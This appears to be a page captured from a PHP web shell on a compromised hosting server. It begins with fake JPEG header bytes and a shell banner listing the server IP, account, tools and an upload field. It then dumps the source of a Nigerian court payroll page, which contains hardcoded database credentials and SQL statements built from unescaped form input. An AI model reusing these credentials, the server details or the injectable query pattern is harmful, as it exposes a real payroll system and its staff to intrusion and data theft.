ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.225.235.70 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/consolidated/ |
Upload File : |
<?php session_start(); require_once('business logic/classes/users.php'); $con = mysqli_connect("localhost","nicngov_payroll","_nicn.payroll@","nicngov_payroll"); if(isset($_POST['submit'])) { $bankGroup = mysqli_real_escape_string($con,$_POST['bankgroup']); $bank = mysqli_real_escape_string($con,$_POST['bank']); $year = mysqli_real_escape_string($con,$_POST['year']); $division = mysqli_real_escape_string($con,$_POST['division']); $rank = mysqli_real_escape_string($con,$_POST['rank']); $_SESSION['division'] = $_POST['division']; header("location:penames.php?bank=$bank&bgroup=$bankGroup&yr=$year&div=$division&rk=$rank"); } $arrears = mysqli_query($con, "select * from tblarrears where year = 2016 and fileno = 1002"); foreach ($arrears as $key) { $key['oldGrade']; } $allbanklist = mysqli_query($con,"select DISTINCT a.bank from tblper a join tblbanklist b where a.bank = b.bank "); $divs = mysqli_query($con,"select * from tbldivision"); ?> <?php if(isset($_POST['action'])) { $phone1 = trim($_POST['phone1']); $sig1 = trim($_POST['signatory1']); $phone2 = trim($_POST['phone2']); $sig2 = trim($_POST['signatory2']); $phone3 = trim($_POST['phone3']); $sig3 = trim($_POST['signatory3']); $month = trim($_POST['month']); $year = trim($_POST['year']); $name1 = trim($_POST['name1']); $name2 = trim($_POST['name2']); $name3 = trim($_POST['name3']); $date = date('Y-m-d'); $sql = mysqli_query($con,"select from signatory where month = $month and year = $year"); $check = mysqli_num_rows($sql); if($check >= 1) { $message = 'Signatories Already set for this month'; } else { $sign1 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig1','$name1','$phone1','$month','$year',1,'$date')"; $sign2 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig2','$name2','$phone2','$month','$year',2,'$date')"; $sign3 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig3','$name3','$phone3','$month','$year',3,'$date')"; if ($con->query($sign1) === TRUE && $con->query($sign2) === TRUE && $con->query($sign3) === TRUE) { $message = '<div class="success">Successfully Entered</div>'; } else { $message = '<div class="success">Error Saving Signatories</div>'; } } } ?> <?php $getSignatory1 = mysqli_query($con, 'select * from tblsignatory where category = 1 order by rank'); $getSignatory2 = mysqli_query($con, 'select * from tblsignatory where category = 2 '); $getSignatory3 = mysqli_query($con, 'select * from tblsignatory where category = 2 '); ?> <?php //require_once('business login/classes/.php'); $user = new User(); $uid = $_SESSION['uid']; $access = $_SESSION['acc']; // if($access > 2) header("location:delay.php"); if (!$user->get_session()) { header("location:myown_mainpage.php?you are not login"); } // if (isset($_GET['q']) and $_GET['q'] == 'logout') { $user->user_logout(); header("location:myown_mainpage.php? you are log out"); } // ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/favicon.ico"> <title>National Industrial Court of Nigeria...::...Classification Code</title> <link href="css/payroll.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="js/jQuery-2.2.0.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $("#signatory1").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ // headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "POST", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas); //alert(datas[0].phoneno); $('#phone1').val(datas[0].phoneno); $('#name1').val(datas[0].fullname); } }); }); $("#signatory2").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ //headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "post", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas[0].phoneno); //alert(datas.phoneno); $('#phone2').val(datas[0].phoneno); $('#name2').val(datas[0].fullname); } }); }); $("#signatory3").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ // headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "post", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas[0].phoneno); //alert(datas.phoneno); $('#phone3').val(datas[0].phoneno); $('#name3').val(datas[0].fullname); } }); }); }); </script> <style type="text/css"> .success { font-size:18px; color:green; } <!-- .style25 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #FF0000; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: underline; } a:active { text-decoration: none; } .inputs { background-color: #ffffff; margin: 2px; padding: 2px; border: 1px solid #FF8A00; color:#000; } --> select { color:#000; } </style> </head> <body> <table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" > <!--DWLayoutTable--> <tr> <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td> </tr> <tr> <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder"> <!--DWLayoutTable--> <tr> <td width="33%"> <a href="userArea.php">Home</a> </td> <td width="67%"><?php //$user->getLink($access); $user->get_fullname($uid); ?><a href="?q=logout">Logout</a> </td> </tr> </table></td> </tr> <tr> <td height="243" valign="top"><?php require('links.php');?> <br /></td> <td valign="top"><table width="310" border="0" align="left" cellpadding="0" cellspacing="0"> <tr> <td width="310" colspan="3"><br /> <fieldset> <legend>Consolidated Payroll Report<br /> </legend> <div> <?php echo $message; ?></div> <form method="post" action=""> <table width="100%"> <tr> <td> <label for="bankGroup">Signatory 1</label> <select name="signatory1" id="signatory1" required="true" class="form-control" > <option value="">Select</option> <?php foreach($getSignatory1 as $list) { echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>'; } ?> </select> </td> <td> <label for="month">Phone</label> <input type="text" name="phone1" id="phone1" class="form-control"> <input type="hidden" name="name1" id="name1" class="form-control"> </td> </tr> <tr> <td> <label for="bankGroup">Signatory 2</label> <select name="signatory2" id="signatory2" class="form-control"> <option value="">Select</option> <?php foreach($getSignatory2 as $list) { echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>'; } ?> </select> </td> <td> <label for="bank">Phone</label> <input type="text" name="phone2" id="phone2" class="form-control"> <input type="hidden" name="name2" id="name2" class="form-control"> </td> </tr> <tr> <td> <label for="bankGroup">Signatory 3</label> <select name="signatory3" id="signatory3" class="form-control"> <option value="">Select</option> <?php foreach($getSignatory3 as $list) { echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>'; } ?> </select> </td> <td> <label for="workingState">Phone</label> <input type="text" name="phone3" id="phone3" class="form-control"> <input type="hidden" name="name3" id="name3" class="form-control"></td> </tr> <tr> <td> <label for="bankGroup">Month</label> <select name="month" id="month" class="form-control"> <option value=""></option> <option value="January">January</option> <option value="February">February</option> <option value="March">March</option> <option value="April">April</option> <option value="May">May</option> <option value="June">June</option> <option value="July">July</option> <option value="August">August</option> <option value="September">September</option> <option value="October">October</option> <option value="November">November</option> <option value="December">December</option> </select> </td> <td> <label for="workingState">Year</label> <select name="year" id="year" class="form-control"> <option></option> <option value="2010">2010</option> <option value="2011">2011</option> <option value="2012">2012</option> <option value="2013">2013</option> <option value="2014">2014</option> <option value="2015">2015</option> <option value="2016">2016</option> <option value="2017">2017</option> <option value="2018">2018</option> <option value="2019">2019</option> <option value="2020">2020</option> <option value="2021">2021</option> <option value="2022">2022</option> <option value="2023">2023</option> <option value="2024">2024</option> <option value="2025">2025</option> <option value="2026">2026</option> <option value="2027">2027</option> <option value="2028">2028</option> <option value="2029">2029</option> <option value="2030">2030</option> <option value="2031">2031</option> <option value="2032">2032</option> <option value="2033">2033</option> <option value="2024">2034</option> <option value="2035">2035</option> <option value="2036">2036</option> <option value="2037">2037</option> <option value="2038">2038</option> <option value="2039">2039</option> <option value="2040">2040</option> </select> </td> </tr> <tr> <td><button name="action" id="action" class="btn btn-success" type="submit">SAVE</button></td> <td> </td> </tr> </table> </form> </fieldset></td> </tr> </table></td> </tr> <tr> <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"> <!--DWLayoutTable--> <tr> <td> </td> </tr> </table></td> </tr> </table> </body> </html> <?php $user->close();?>